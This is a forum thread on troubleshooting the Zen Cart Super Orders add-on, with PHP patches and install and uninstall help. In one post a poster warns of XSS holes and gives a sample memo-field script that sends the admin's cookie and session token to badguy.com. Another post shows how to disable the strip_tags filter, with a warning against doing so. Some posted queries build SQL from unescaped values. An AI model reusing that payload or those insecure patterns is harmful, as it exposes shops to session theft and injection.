thank you.
that is very helpful for the landing page.
can't figure out exactly where to do that for the "detail", "invoice", or "packing slip" pages.
Quote:
Originally Posted by thomasw98
Printable View
thank you.
that is very helpful for the landing page.
can't figure out exactly where to do that for the "detail", "invoice", or "packing slip" pages.
Quote:
Originally Posted by thomasw98
That quote in that post is 14 months back I believe, what I think you are asking is whether it is possible to put expanded details about whether the UPS service is "priority mail" "express" or whatever in the detail, invoice and packing slip pages.
I'm suprised that it doesn't give those details on any installation (I'm UK based so don't use those services), if this is what you are asking it's going to take some editing of several pages.
Philip.
If you search this thread for "Shipping Details" you will find all the threads related to this often asked question. One of these threads should help .. (I didn't look to see which one was the right one.. I just grabbed them all..)Quote:
Originally Posted by dni
http://www.zen-cart.com/forum/showpo...&postcount=720
http://www.zen-cart.com/forum/showpo...&postcount=777
http://www.zen-cart.com/forum/showpo...&postcount=851
http://www.zen-cart.com/forum/showpo...&postcount=853
http://www.zen-cart.com/forum/showpo...&postcount=587
HTH..
How do I uninstall Super Orders, please?
Did you edit any files ?
I don't think I've edited any files. Since posting my question, I have gone through and deleted every file named "super_". Everything seems to be gone now -- the invoices, reports, etc -- except that I'm still seeing the Super Orders configuration menu in the admin/configuration section of my backend. Thanks so much for your help.
This is a list of all the php files
super_orders_20/super_orders_sql.sql
super_orders_20/LICENSE.txt
super_orders_20/README.txt
super_orders_20/catalog/admin/super_batch_status.php
super_orders_20/catalog/admin/super_edit.php
super_orders_20/catalog/admin/super_orders.php
super_orders_20/catalog/admin/super_report_await_pay.php
super_orders_20/catalog/admin/super_packingslip.php
super_orders_20/catalog/admin/super_shipping_label.php
super_orders_20/catalog/admin/super_customers.php
super_orders_20/catalog/admin/super_report_cash.php
super_orders_20/catalog/admin/super_invoice.php
super_orders_20/catalog/admin/super_payment_types.php
super_orders_20/catalog/admin/super_payments.php
super_orders_20/catalog/admin/includes/languages/english/super_batch_status.php
super_orders_20/catalog/admin/includes/languages/english/super_edit.php
super_orders_20/catalog/admin/includes/languages/english/super_orders.php
super_orders_20/catalog/admin/includes/languages/english/super_report_await_pay.php
super_orders_20/catalog/admin/includes/languages/english/super_packingslip.php
super_orders_20/catalog/admin/includes/languages/english/super_customers.php
super_orders_20/catalog/admin/includes/languages/english/super_report_cash.php
super_orders_20/catalog/admin/includes/languages/english/super_invoice.php
super_orders_20/catalog/admin/includes/languages/english/super_payment_types.php
super_orders_20/catalog/admin/includes/languages/english/super_payments.php
super_orders_20/catalog/admin/includes/languages/english/super_data_sheet.php
super_orders_20/catalog/admin/includes/languages/english/super_batch_forms.php
super_orders_20/catalog/admin/includes/languages/english/order_status_email.php
super_orders_20/catalog/admin/includes/boxes/extra_boxes/super_orders_localization_dhtml.php
super_orders_20/catalog/admin/includes/boxes/extra_boxes/super_orders_reports_dhtml.php
super_orders_20/catalog/admin/includes/boxes/extra_boxes/super_orders_customers_dhtml.php
super_orders_20/catalog/admin/includes/extra_datafiles/super_orders_defines.php
super_orders_20/catalog/admin/includes/functions/extra_functions/super_orders_functions.php
super_orders_20/catalog/admin/includes/super_stylesheet.css
super_orders_20/catalog/admin/includes/formval.js
super_orders_20/catalog/admin/includes/classes/popup.php
super_orders_20/catalog/admin/includes/classes/customer.php
super_orders_20/catalog/admin/includes/classes/super_order.php
super_orders_20/catalog/admin/super_data_sheet.php
super_orders_20/catalog/admin/super_batch_forms.php
super_orders_20/catalog/includes/languages/english/modules/payment/purchaseorder.php
super_orders_20/catalog/includes/extra_datafiles/super_orders_defines.php
super_orders_20/catalog/includes/modules/payment/purchaseorder.php
super_orders_20/catalog/includes/classes/super_order.php
super_orders_20/_upgrade/super_upgrade.php
super_orders_20/UPGRADE.txt
These files:
super_orders_20/catalog/admin/includes/boxes/extra_boxes/super_orders_localization_dhtml.php
super_orders_20/catalog/admin/includes/boxes/extra_boxes/super_orders_reports_dhtml.php
super_orders_20/catalog/admin/includes/boxes/extra_boxes/super_orders_customers_dhtml.php
are the ones that bring up the menu,
I'm getting the following error whenever I press the details button:
Fatal error: Call to undefined function zen_address_format() in /home/bstein/public_html/admin/super_orders.php on line 316
I'm running zen-cart v1.3.8a which I upgraded from v1.3.7. I also have ty package tracker installed.
What could be causing this? Thanks for any help on the matter.
Brad Steinagel
Most likely is that you've forgotten something about how you originally installed super orders. "Normally" you edit orders.php and so you're upgrade has overwritten the modified orders.php, if you re-follow the instructions for installing super orders, everything should work out fine and dandy.
Philip, Thank you! I've deleted every one of these files, but still the Super Orders configuration menu shows up in my my Configuration area. I've done a search for "super_" and "super_orders" in the Developers Toolkit as well. Perhaps I edited existing files when I installed and just can't remember. Any suggestions where I might look? Store is surpiegirl.com, if that helps at all.
Quote:
Originally Posted by philip_clarke
The easiest thing is to re-read the Super Orders install instructions and reverse any edits you may have made to core admin files.Quote:
Originally Posted by likes2draw
PERFECT
thank you!
i ended up using these few posts and the issue is solved:
http://www.zen-cart.com/forum/showth...=44668&page=86
Quote:
Originally Posted by DivaVocals
We're getting an error message in the Admin when clicking on "Super Orders" or "Orders". This is just on our test account but I wanted to get it fixed before I put in in our live.
The error message is saying:
Fatal error: Call to a member function get_content_type() on a non-object in /home/mycup/public_html/test/teststore/admin/includes/classes/order.php on line 240
I've looked at the order.php file on line 240 but I do not know what to edit.
We're using the Checkout Without Account Module. And I'm having a feeling that has something to do with it. But I don't know what to change or edit.
Can someone please help?
Oddly admin/includes/classes/order.php has 178 lines in ZC 1.3.8a
get_content_type refers to whether a shopping cart contents are "real" or "virtual" as in downloadable. The error means that the shopping cart is not complete or corrupted in some manner. If Checkout Without Account modifies order.php then you should probably be at that thread.
Thank you
Philip.
Hi Philip. Well, the order.php file that is mentioned in the Readme of Super Orders is in includes/classes/order.php.
It also has instructions for editing the order.php file in the admin side, but I don't think that applies to us because we are on the latest version of Zen. And the instructions say: This is only required for Zen Cart versions prior to 1.3.6.
Thank you!
Hi, yes but you are not looking at the correct file your error message says
/home/mycup/public_html/test/teststore/admin/includes/classes/order.php
which is in admin not /home/mycup/public_html/test/teststore/includes/classes which you just mentioned, so it's not a super order thing unless something has been edited.
Are you using IntegratedCOWOA(1.3.8) because that has a line number 240 with this->content_type = $_SESSION['cart']->get_content_type(); on it ?
How good are you at PHP because this looks like on your system super orders will have to be re-integrated into it and from this:
http://www.zen-cart.com/wiki/index.p...ithout_Account
It appears that the developer has left.
PM me if you need professional help.
Philip.
Philip, with you saying all of that it got me thinking and I figured out that I had the wrong order.php file in admin/includes/classes!!!
So I got the right one and put it in the right place for our test and wallah!! Message was gone. So it seems the whole time that Super Orders was installed correctly (so far!) and the error message was because of another module.
It's crazy how someone elses input can influence how you figure things out.
I just installed this mod, it's great so far! But I was assuming there would be a way to edit the products? It looks like all I'm able to do is delete a product from an order, is this right?
Am I doing something wrong?
Glad to have been of service m'Lord.
I think you should take a look at edit_orders, you can certainly add a product from memory. Super orders allows you to edit existing products, the totals, and the status history, but edit_orders allows address changes and adding a product, and possibly editing a product too, between the two you have then the ability to edit the products.
Having just read the senetence again and your post, yes you can edit an existing products in super order by clicking on the blue edit products link with a little notepad by it, it then pops a new window so you should check your pop up settings. But I have to say that it appears not to work on my system. it appears to shift all the details to a new order, now edit_orders does work, I've just installed it.
IF edit orders does not play nicely with super orders, I can get it to work and repair a bug in orders.php that exists in 1.3.8, edit orders can be downloaded from here
http://www.zen-cart.com/index.php?ma...roducts_id=444
and I've combined the two quite frequently, although there are work arounds if you don't want to start programming or getting me to do it for you.
Philip.
I am just about to install super Orders on my site ( after some testing first ) I know that orders bug is fixed on my site , How will that affect me ?Quote:
Originally Posted by philip_clarke
Just need to say Edit Orders does not play nicely with Group Discounts installed. AFAIK . It mucks up the discount by switching it to positive and alters the VAT which you can not easily alter back again. Careful !
Thanks for your prompt reply Phillip. I did as suggested and I'm still ending up with a fatal error regarding undefined function zen_address_format whenever I press the Details, Shipping Label, Invoice, Packing Slip, or Print buttons. I guess what I'd like to try next is to do a total uninstall of super orders, including the sql patch, and re-install it from scratch. How do I go about uninstalling the sql patch? I modified some of my files as outlined in the readme file, will I have to restore these to their original versions when I uninstall?Quote:
Originally Posted by philip_clarke
I'm not quite sure where the function zen_address_format is being called from. It almost seems as if it's missing in a file somewhere.
Thanks,
Brad
Sorry I'm uk based so I've only just got up. The function zen_address_format is in
admin/includes/functions/functions_customers.php
admin/includes/functions/general.php
includes/functions/functions_customers.php
and it's not part of the super orders package, my guess is that a file is not being found, and in all likelihood it needs some php to see what's happening.
Give me an email or PM and we'll go through it.
Philip
I am having the same issue. I did a search and couldn't find the answer........ does anyone have an answer ;)Quote:
Originally Posted by thomasw98
From a brief look at a test site, the orders appear there if they were COD and then not "closed" using the completed button in green on the bottom right hand of the screen. I had a couple of orders that made it into the Orders awaiting payment section, maybe because I selected COD when filling them in, and when I closed them they disappeared. I would guess that I should use the payment+ button to add a payment detail too really, before closing the order.Quote:
Originally Posted by nikki72
Philip.
Hello
I ahve a site running Super Orders and I have encountered some problems where the Tax is not displayed in the tax colomn of the Super Invoice even though the product is taxable.
Products Model Tax Unit Price Total
1 x ANT
- Size: 12 (0111089120) 0111089 None! £11.02 £11.02
The unite price is correct but then the Total column is incorrect as it doesn't add the tax either...
However the Sub-Total value does take into account the TAX and displays correctly...
Can anyone shed any light?
Thanks
Andy
Sure this is an easy one for someone!
Does the super_invoice page and the super_orders page look to different places to where heading text is defined?
I will explain why...
I have my super_invoice page showing just how I want now, only showing columns...
PRODUCT
UNIT PRICE
TOTAL PRICE
All works perfect.
I now want the same on the super_orders page. I have amended it so the actual column data works fine - it only shows these 3 columns and the data is correct but the headings are acting strangely
On super_invoice, the last 2 columns headings are...
TABLE_HEADING_PRICE_NO_TAX
TABLE_HEADING_TOTAL_NO_TAX
I entered these column headings onto the super_orders page, but it is just displaying the field name rather than "Unit Price" and "Total" like it does on the invoice
It as though super_orders page cannot find these variables defined whereas super_invoice can.
I am sure I am right that they are looking to different destinations for the definitions, but not sure where.
Pelase could someone help?
Many thanks
Found my answer after posting...
super_orders looks to admin/includes/languages/english/super_orders
super_invoice looks to admin/includes/languages/english/super_invoice
Logical really!
The headings I was trying to use were defined in super_invoice but not super_orders
Thanks
hi thank you everybody for their help in advance.
philip or anybody, i add super orders and edit orders it seems like evrything go smoothly when i update with edit orders and go back to super orders it seems like balance due isn't updating how can i fix that
and
secondly at the installation of super orders optional file edits #2 is a part about the filenames defines if i change those the edit orders is going to work or not.
thirdly is it possible dit orders can be integrated into the super orders?
I am experiencing the same issues as the post above. I am new to Zen Cart but have had ecommernce sites since 1999. My 2 other sites are hosted ecommerce packages with very robust order pages. When I first saw the stock order page in ZC I knew I needed something more so I loaded Super Orders.
When an order comes in, if I manage it in Super Orders it does not update the Order page that comes installed with Zen Cart so I get confused to where to update orders. If I complete an order in Super Orders it still shows as a new order in Orders.
Can anyone explain how they process their orders.
Also, I prefer to "Authorize only" charges until I ship the order. Is there a way to complete the charge from the admin panel? I do not see this in Super Orders or Orders nor have I found a Mod.
THanks
Hi all
Under localization -> Payment Types, I am trying to remove some of the types that I will never use. On the whole this was very straight forward but now I have a problem.
Whilst testing out the features of Super Orders 2.0, I created a few test orders, made test payments and test refunds etc against these orders.
I then went in once I had finished testing them and deleted all these orders.
The problem is, some of the payment types I am trying to delete were used in the payments or refunds on the test orders
It will not let me delete these payments type saying...
Delete Prohibited
This payment type currently has 1 payments and/or refunds attached to it. Those records must first be deleted or moved to another payment type before you can delete this one.
I connot delete the payment, or move it to another payment type because I have deleted the orders that those payments/refunds were against.
How can I make it forget about those payments so I can delete the payment types?
Many thanks in advance
Is there a compatibility issue using "Super Orders" with "Edit Orders"????
Thanks
Stan
I just installed this mod, but I am not able to edit orders, like the instructions claim.
I click on the "edit proucts" link and I get a new page, but there is nothing I can do on this page. it just displays the product.
The instructions state to remove the "orders" link in admin/customer/orders, but if I do tis I will not be able to edit any thing, since I have "edit orders" installed.
Is there something I am missing or doing something wrong, since I can not edit orders in "super orders" ?
Thanks
Stan
hi this super orders isn't allowing to edit the products you can divide the order into 2 and for example
a customer order 3 products and you have in stock one of them you can sperate 2 not in stock orders in to new order but you can't add or delete directly from the original order. the edit order addon do that you can add or delete or change anything in the order such as name adress email, product, shipping and tax info. what i write that may be somebody wiser then us combine super orders+edit orders and make it complete. philips clarke is email me that he did that before in one of his test store.
Hi All,
Great mod, really love it. However, having some issues with our 1.38 installation and the info at a glance feature.
I did a search for this, but didn't see any suggestions to fix it. The bubble is there, but clicking it does nothing... :(
Screen capture from my admin attached, in case I'm missing something...
Thanks in advance, ~Rich
Hi all,
I started to cooperate with HiPCTech. We use for our webstore Zen Cart with Super Orders module. We had a problem with "Balance Due". If someone paid through PayPal, Super Orders still showed "Balance Due" to be paid. I've found a solution to this problem and I'd like to post it here so that maybe someone can also find it useful.
Whole changes are made in "zcmanager/includes/classes/super_order.php". I modified "start()" function and added one new ("check_paypal_payments()"). What it does is it basically selects PayPal payments from "TABLE_PAYPAL" where order_id equals "$this->oID" and adds "mc_gross" value to "amount_applied". It takes only payments from "paypalwpp" or "paypal 1.3.8a" or "paypal (ipn-handler)" modules. There might be a better way to do it. Maybe just to select all except for "paypaldp". But for security I wrote it like that.
Here is the code:
Code:
function start() {
global $db;
// scrape some useful info from the record in the orders table
$order_query = $db->Execute("select * from " . TABLE_ORDERS . " where orders_id = '" . $this->oID . "'");
$this->cID = $order_query->fields['customers_id'];
$this->order_total = $order_query->fields['order_total'];
if (zen_not_null($order_query->fields['date_cancelled']) ) {
$this->status_date = $order_query->fields['date_cancelled'];
$this->status = "cancelled";
}
elseif (zen_not_null($order_query->fields['date_completed']) ) {
$this->status_date = $order_query->fields['date_completed'];
$this->status = "completed";
}
else {
$this->status_date = false;
$this->status = false;
}
// build an array to translate the payment_type codes stored in so_payments
$payment_key_query = $db->Execute("select * from " . TABLE_SO_PAYMENT_TYPES . "
where language_id = '" . $_SESSION['languages_id'] . "'
order by payment_type_full asc");
while(!$payment_key_query->EOF) {
// this array is used by the full_type() function
$this->payment_key_array[$payment_key_query->fields['payment_type_code']] = $payment_key_query->fields['payment_type_full'];
// and this one can be used to build dropdown menus
$this->payment_key[] = array('id' => $payment_key_query->fields['payment_type_code'],
'text' => $payment_key_query->fields['payment_type_full']);
$payment_key_query->MoveNext();
}
// get all payments not tied to a purchase order
$payments_query = $db->Execute("select * from " . TABLE_SO_PAYMENTS . "
where orders_id = '" . $this->oID . "'
and purchase_order_id = 0
order by date_posted asc");
if (zen_not_null($payments_query->fields['orders_id'])) {
while (!$payments_query->EOF) {
$this->payment[] = array('index' => $payments_query->fields['payment_id'],
'number' => $payments_query->fields['payment_number'],
'name' => $payments_query->fields['payment_name'],
'amount' => $payments_query->fields['payment_amount'],
'type' => $payments_query->fields['payment_type'],
'posted' => $payments_query->fields['date_posted'],
'modified' => $payments_query->fields['last_modified']);
$payments_query->MoveNext();
}
}
else {
unset($this->payment);
$this->payment = false;
}
// get all the purchase orders for this order
$purchase_order_query = $db->Execute("select * from " . TABLE_SO_PURCHASE_ORDERS . "
where orders_id = '" . $this->oID . "'
order by date_posted asc");
if (zen_not_null($purchase_order_query->fields['orders_id'])) {
while (!$purchase_order_query->EOF) {
$this->purchase_order[] = array('index' => $purchase_order_query->fields['purchase_order_id'],
'number' => $purchase_order_query->fields['po_number'],
'posted' => $purchase_order_query->fields['date_posted'],
'modified' => $purchase_order_query->fields['last_modified']);
$purchase_order_query->MoveNext();
}
}
else {
unset($this->purchase_order);
$this->purchase_order = false;
}
// get any payments that are tied to a purchase order
if($this->purchase_order) { // need a po before you can have po payments
for($i = 0; $i < sizeof($this->purchase_order); $i++) {
$this_po_id = $this->purchase_order[$i]['index'];
$po_payments_query = $db->Execute("select * from " . TABLE_SO_PAYMENTS . "
where purchase_order_id = '" . $this_po_id . "'
order by date_posted asc");
if (zen_not_null($po_payments_query->fields['orders_id'])) {
while (!$po_payments_query->EOF) {
$this->po_payment[] = array('index' => $po_payments_query->fields['payment_id'],
'assigned_po' => $this_po_id,
'number' => $po_payments_query->fields['payment_number'],
'name' => $po_payments_query->fields['payment_name'],
'amount' => $po_payments_query->fields['payment_amount'],
'type' => $po_payments_query->fields['payment_type'],
'posted' => $po_payments_query->fields['date_posted'],
'modified' => $po_payments_query->fields['last_modified']);
$po_payments_query->MoveNext();
}
}
}
if (sizeof($this->po_payment) < 1) {
unset($this->po_payment);
$this->po_payment = false;
}
}
// get any refunds
if($this->payment || $this->po_payment) { // gotta have payments in order to refund them
$refunds_query = $db->Execute("select * from " . TABLE_SO_REFUNDS . "
where orders_id = '" . $this->oID . "'
order by date_posted asc");
if (zen_not_null($refunds_query->fields['orders_id'])) {
while (!$refunds_query->EOF) {
$this->refund[] = array('index' => $refunds_query->fields['refund_id'],
'payment' => $refunds_query->fields['payment_id'],
'number' => $refunds_query->fields['refund_number'],
'name' => $refunds_query->fields['refund_name'],
'amount' => $refunds_query->fields['refund_amount'],
'type' => $refunds_query->fields['refund_type'],
'posted' => $refunds_query->fields['date_posted'],
'modified' => $refunds_query->fields['last_modified']);
$refunds_query->MoveNext();
}
}
else {
unset($this->refund);
$this->refund = false;
}
}
// calculate and store the order total, amount applied, & balance due for the order
// add individual payments if they exists
if($this->payment) {
for($i = 0; $i < sizeof($this->payment); $i++) {
$this->amount_applied += $this->payment[$i]['amount'];
}
}
// next add the po payments if they exist
if ($this->po_payment) {
for($i = 0; $i < sizeof($this->po_payment); $i++) {
$this->amount_applied += $this->po_payment[$i]['amount'];
}
}
// now check PayPal payments and add if they exist
$this->check_paypal_payments();
$this->amount_applied += $this->paypal_total_payments;
// now subtract out any refunds if they exist
if($this->refund) {
for($i = 0; $i < sizeof($this->refund); $i++) {
$this->amount_applied -= $this->refund[$i]['amount'];
}
}
// subtract from the order total to get the balance due
$this->balance_due = $this->order_total - $this->amount_applied;
// compare this balance to the one stored in the orders table, update if necessary
if ($this->balance_due != $order_query->fields['balance_due']) $this->new_balance();
} // END function start
function check_paypal_payments() {
global $db;
$this->paypal_total_payments = 0;
$paypal_payments_query = $db->Execute("select * from " . TABLE_PAYPAL . "
where `order_id` = '" . $this->oID . "'
and `payment_status` = 'Completed'
and (`module_name` = 'paypalwpp'
or `module_name` = 'paypal 1.3.8a'
or `module_name` = 'paypal (ipn-handler)')");
if (zen_not_null($paypal_payments_query->fields['order_id'])) {
while (!$paypal_payments_query->EOF) {
$this->paypal_total_payments += $paypal_payments_query->fields['mc_gross'];
$paypal_payments_query->MoveNext();
}
}
}
Does anyone have advise on this please?Quote:
Originally Posted by cjeb456
Thanks
I don't use this feature of sales orders, so this may not be too precise, but I looked at the code and it looks like it's checking in the TABLE_SO_PAYMENTS and TABLE_SO_REFUNDS to see if those payment types are used.
My guess is that when you deleted the order, you may have done this through the stock Customers->Orders instead of Customers->SuperOrders. If this is the case, the order was removed from TABLE_ORDERS, but still exists in those other tables.
I'd probably manually remove the one record from the TABLE_SO_PAYMENTS table using PhpMyAdmin - assuming that this record is associated with a non-existant order ID anyway.
I just combined the two. I am no programmer but the following worked for me.Quote:
Originally Posted by tuncay
Install both mods: edit order and super orders. Make the option filenames update for super orders.
open up filenames.php at includes/filenames.php and add this line:
define('FILENAME_EDIT_ORDERS', 'edit_orders');
Open up admin/super_orders.php and find this line:
echo '<a href="' . zen_href_link(FILENAME_SUPER_DATA_SHEET, 'oID=' . $oID) . '" target="_blank">' . zen_image_button('btn_print.gif', ICON_ORDER_PRINT) . '</a> ';
Add this line right above it:
echo '<a href="' . zen_href_link(FILENAME_EDIT_ORDERS, 'oID=' . $oID) . '">' . zen_image_button('button_edit.gif', ICON_ORDER_EDIT) . '</a> ';
Sorry I've been off due to repeated illness and this is not "my module" (the original developers disappeared quite sometime back).
The only issues with combining the modules are 1) the orders.php used as a basis for super orders dates back to about 2007 and so sometimes it doesn't work on later versions. 2) super_orders or edit_orders both use window.back() in their links to go backwards through results which can mean repeated clicks through to the wrong places. 3) bad totalling of discounts or order re-totalling.
I'd solved quite a few of the problems certainly 1 and 2, but 3 remained an issue. Until I sorted some of the other issues with my own modules (and got healthier) I'll not be looking at this module's totalling up problems. I agree it was quite easy to just put them up on the same zen-cart shop but over time they don't play nicely together and the totalling and re-totalling appears to move further from the desired or correct values.
Philip.
:clap:voltage great thanks a lot i did what you say yes it is working. only not working part is when you edit with edit orders the balance due isn't updating automaticly . however if i go edit order totals (under super orders) click and at the next window click on submit then it updates do you have any fix for that too if you have it is going to be great.
thanks again for the great job :clap:
batch status update batch form print for values < less then and equal is giving below error
1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''250' ORDER BY o.orders_id DESC' at line 4
in:
[SELECT o.orders_id, o.customers_id, o.customers_name, o.payment_method, o.date_purchased, o.order_total, s.orders_status_name FROM zen_orders o LEFT JOIN zen_orders_status s ON o.orders_status = s.orders_status_id WHERE s.language_id = '1' AND o.order_total '250' ORDER BY o.orders_id DESC]
If you were entering information, press the BACK button in your browser and re-check the information you had entered to be sure you left no blank fields
is this a bug for php 5.xx
thank you
No that is a SQL error missing an = sign before the '250'
can you open it up a little where i need to look to fix.
you mean there is a a problem at my database.
The most I can open it up is that the PHP should have read o.order_total = '250' which is why you got the error, since I do not know whatQuote:
Originally Posted by tuncay
means.Quote:
"batch status update batch form print for values < less then and equal is giving below error"
It means no PHP 5 problem, no problem with the database, it means wherever you are there is a problem with the code sending information through to the database. If you can repeat the exact steps to get the error, probably I can find where to put the = sign in the code.
What you mean is "when I goto the page super_batch_forms.php and type in 250 into the order total box and select < (less than) then I get this error".
At which point I look through the code and go "oh dear". I am going through the code, there is a tremendous amount of SQL insertion problems, although as it is inside admin it should only be affected by authorised users.
There is a problem, it's nothing to do with the PHP version, or the database, it's a coding issue and may not even be anything to do with super orders and so far has required eliminating quite a few pages for coding errors and may take some more time, and there's no point in explaining it, because it would be an explantion in PHP which you probably would not understand.
In admin/includes/init_includes/init_general_funcs.php there is this at the bottom of the page:
and if you change the one line toCode:if (isset($_GET) & sizeof($_GET) > 0 ) {
foreach ($_GET as $key=>$value) {
$_GET[$key] = strip_tags($value);
}
}
then super_batch_forms.php will work when using the less than function for the order total.Code:// $_GET[$key] = strip_tags($value);
BUT this is not recommended at all
The strip_tags code is in Zen Cart as a security measure to stop XSS attacks. Super orders needs re-coding because it submits <= to the page and Zen Cart strips it out because the strip_tags function thinks it is a HTML tag. Super orders is full of SQL Insertion security holes and possible XSS attacks and the Zen cart code is there to try and stop them. At the moment the only solution to the bug is to open up more security holes in your system although if the admin folder has been moved as recommended in the general security guidelines, it's not a really big hole.
Philip.
thank you for your reply but i mixed up more.
what is the problem. exactly a security hole or not .
the admin folder has been moved as recommended in the general security guidelines, it's not a really big hole.
you mean by that ssl secured admin area .
thank you
also this isn't working if i choose equal, but it is worknig if i chose more then. may be the answer is looking more then and imitating that for less then and equal.
but i amn't an expert i don't know how to code. i am thinking simple. may be possible or may be not.
thank you
First thing SSL in admin will do nothing for the case you mentioned if you have not moved the admin folder. Please read the security guidelines in http://YOUR_WEBISTE_ADDRESS/docs/imp...endations.html
All of super orders is full of security holes because there is no filtering of $_GET or $_POST. At somepoint ZC introduced basic filtering on $_GET in the file admin/includes/init_includes/init_general_funcs.php and this has stopped super_orders from working in the one arear that you mentioned. If you wish to edit that file as mentioned above, then the bug will disappear, but you will have a larger hole.
The hole is an XSS or SQL injection one, but would only be usable if someone knew the location of your admin folder and possibly if they could log on (although they may be able to steal a session by sniffing the cookie or session variable if you are not using SSL for admin). If they stole your session variable then they could do anything with your database that they liked but if they stole your session, they could easily apply a SQL patch and do the same thing.
The risk is low but if you wish to edit the the file I mentioned then the whole rest of your admin area will also be open to possible SQL Injection or XSS attacks because if you are opening it in that function to fix that bug then you will expose the whole of administration.
Hi All,
A quick question in regards to sorting alphabetically in the super packing slip.
I had a look back through the thread and there is a few questions about sorting the products on the packing slip alphabetically however there does not seem to be any replies.
Can someone point me in the right direction of where I need to edit the packing slip code to sort the array of products.
Thanks in advance
Brett
Short answer is no, you cannot order the objecs in a packing slip alphabetically unless you write a new function to sort the products out.
The products are not stored in a SQL statement that can be ordered, they are stored in a fixed object array like below
which is from the examples shipped with zen-cart. One would need to write a new function to take the $order->products object, put in a temp object, resort it on the name attribute and then pop it back into the code.Code:Array
(
[0] => Array
(
[qty] => 1
[id] => 111
[name] => TEST $120 Special $90.00 Sale -$5.00 Skip
[model] => Test120-90-5SKIP
[tax] => 0.0000
[price] => 90.0000
[onetime_charges] => 0.0000
[final_price] => 120.0000
[product_is_free] => 0
[attributes] => Array
(
[0] => Array
(
[option] => Size
[value] => X-Small
[prefix] => +
[price] => 40.0000
[product_attribute_is_free] => 0
)
)
)
[1] => Array
(
[qty] => 1
[id] => 1
[name] => Matrox G200 MMS
[model] => MG200MMS
[tax] => 0.0000
[price] => 299.9900
[onetime_charges] => 0.0000
[final_price] => 299.9900
[product_is_free] => 0
[attributes] => Array
(
[0] => Array
(
[option] => Model
[value] => Value
[prefix] => +
[price] => 0.0000
[product_attribute_is_free] => 0
)
[1] => Array
(
[option] => Memory
[value] => 4 mb
[prefix] =>
[price] => 0.0000
[product_attribute_is_free] => 0
)
)
)
[2] => Array
(
[qty] => 1
[id] => 1
[name] => Matrox G200 MMS
[model] => MG200MMS
[tax] => 0.0000
[price] => 299.9900
[onetime_charges] => 0.0000
[final_price] => 469.9900
[product_is_free] => 0
[attributes] => Array
(
[0] => Array
(
[option] => Model
[value] => Premium
[prefix] => +
[price] => 100.0000
[product_attribute_is_free] => 0
)
[1] => Array
(
[option] => Memory
[value] => 16 mb
[prefix] => +
[price] => 70.0000
[product_attribute_is_free] => 0
)
)
)
[3] => Array
(
[qty] => 1
[id] => 1
[name] => Matrox G200 MMS
[model] => MG200MMS
[tax] => 0.0000
[price] => 299.9900
[onetime_charges] => 0.0000
[final_price] => 299.9900
[product_is_free] => 0
[attributes] => Array
(
[0] => Array
(
[option] => Model
[value] => Value
[prefix] => +
[price] => 0.0000
[product_attribute_is_free] => 0
)
[1] => Array
(
[option] => Memory
[value] => 4 mb
[prefix] =>
[price] => 0.0000
[product_attribute_is_free] => 0
)
)
)
)
Quote:
Originally Posted by smatric
We've just notice another "Balance Due problem". I'd like to share with you my solution hoping it might be useful for somebody.
The problem was with PayPal payments in foreign currencies. The total order amount is not being multiplied by currency value resulting in lover value and in negative value of balance due. (We use Super Orders by Frank Koehl written on "27 2006-02-03 20:06:12".)
Here is a proposed solution:
in zcmanager/includes/classes/super_order.php replace line:
with:Code:$this->order_total = $order_query->fields['order_total'];
Code:if($order_query->fields['payment_method'] == 'PayPal') {
$this->order_total = round($order_query->fields['currency_value'] * $order_query->fields['order_total'], 2);
}
else {
$this->order_total = $order_query->fields['order_total'];
}
What I think is that super orders is in desperate need to be brought up to date, the orders.php dates back to early 2006, and there are multiple uses of unfiltered $_GET values as well as displaying values striaght out of the db, without filtering the content e.g. someone puts in a memo field
That's just a theoretical example, it doesn't work but if an administrator were to look at a COD order then it would secretly post the administrator's session information through to badguy.com, super orders is littered with XSS vulnerabilities. I may have time in a few weeks, but really there needs to be a fulltime volunteer. (I already maintain a couple of modules).Code:<script>document.images[0].src=http://badguy.com?document.cookie+' '+zenAdminId+' '+securityToken</script>
Philip.
Hello Brett,Quote:
Originally Posted by brettw
If I'm not mistaken, the array of products is populated based on the results of an SQL query. If you can find it, and modify the ORDER BY clause, you will be able to influence the order of the array and therefore your packing slip. However, this will be the order of all resulting arrays that use the same query.
You are mistaken, the order is populated by a sql query that stores the shopping cart before a purchase has even gone through the checkout, that way when a product is deleted from the store, the invoice still has the products on it (legal requirement).
My super order is creating a problem with my payment gateway module. I want it removed.. Please anyone help...
Did you figure this out or get an answer to this? I'm having the same problem. The total is right but under the tax column it just shows "none!"Quote:
Originally Posted by Thieving_Gypsy
Anyone?
It would be helpful if you could post to the forum which gateway it is, so that other people could become aware of any potential problems.
Reverse any changes you made when you followed the installation instructions. The easiest way to do this is to download a copy of ZC and take the files
includes/classes/order.php
admin/includes/classes/order.php
admin/includes/general.js
and upload them to your server overwriting the ones you my have edited.
This is the full list of php files in the zip that could be affecting things:
remove the ones under includes first (these ones)Code:./catalog/admin/super_batch_status.php
./catalog/admin/super_edit.php
./catalog/admin/super_orders.php
./catalog/admin/super_report_await_pay.php
./catalog/admin/super_packingslip.php
./catalog/admin/super_shipping_label.php
./catalog/admin/super_customers.php
./catalog/admin/super_report_cash.php
./catalog/admin/super_invoice.php
./catalog/admin/super_payment_types.php
./catalog/admin/super_payments.php
./catalog/admin/includes/languages/english/super_batch_status.php
./catalog/admin/includes/languages/english/super_edit.php
./catalog/admin/includes/languages/english/super_orders.php
./catalog/admin/includes/languages/english/super_report_await_pay.php
./catalog/admin/includes/languages/english/super_packingslip.php
./catalog/admin/includes/languages/english/super_customers.php
./catalog/admin/includes/languages/english/super_report_cash.php
./catalog/admin/includes/languages/english/super_invoice.php
./catalog/admin/includes/languages/english/super_payment_types.php
./catalog/admin/includes/languages/english/super_payments.php
./catalog/admin/includes/languages/english/super_data_sheet.php
./catalog/admin/includes/languages/english/super_batch_forms.php
./catalog/admin/includes/languages/english/order_status_email.php
./catalog/admin/includes/boxes/extra_boxes/super_orders_localization_dhtml.php
./catalog/admin/includes/boxes/extra_boxes/super_orders_reports_dhtml.php
./catalog/admin/includes/boxes/extra_boxes/super_orders_customers_dhtml.php
./catalog/admin/includes/extra_datafiles/super_orders_defines.php
./catalog/admin/includes/functions/extra_functions/super_orders_functions.php
./catalog/admin/includes/classes/popup.php
./catalog/admin/includes/classes/customer.php
./catalog/admin/includes/classes/super_order.php
./catalog/admin/super_data_sheet.php
./catalog/admin/super_batch_forms.php
./catalog/includes/languages/english/modules/payment/purchaseorder.php
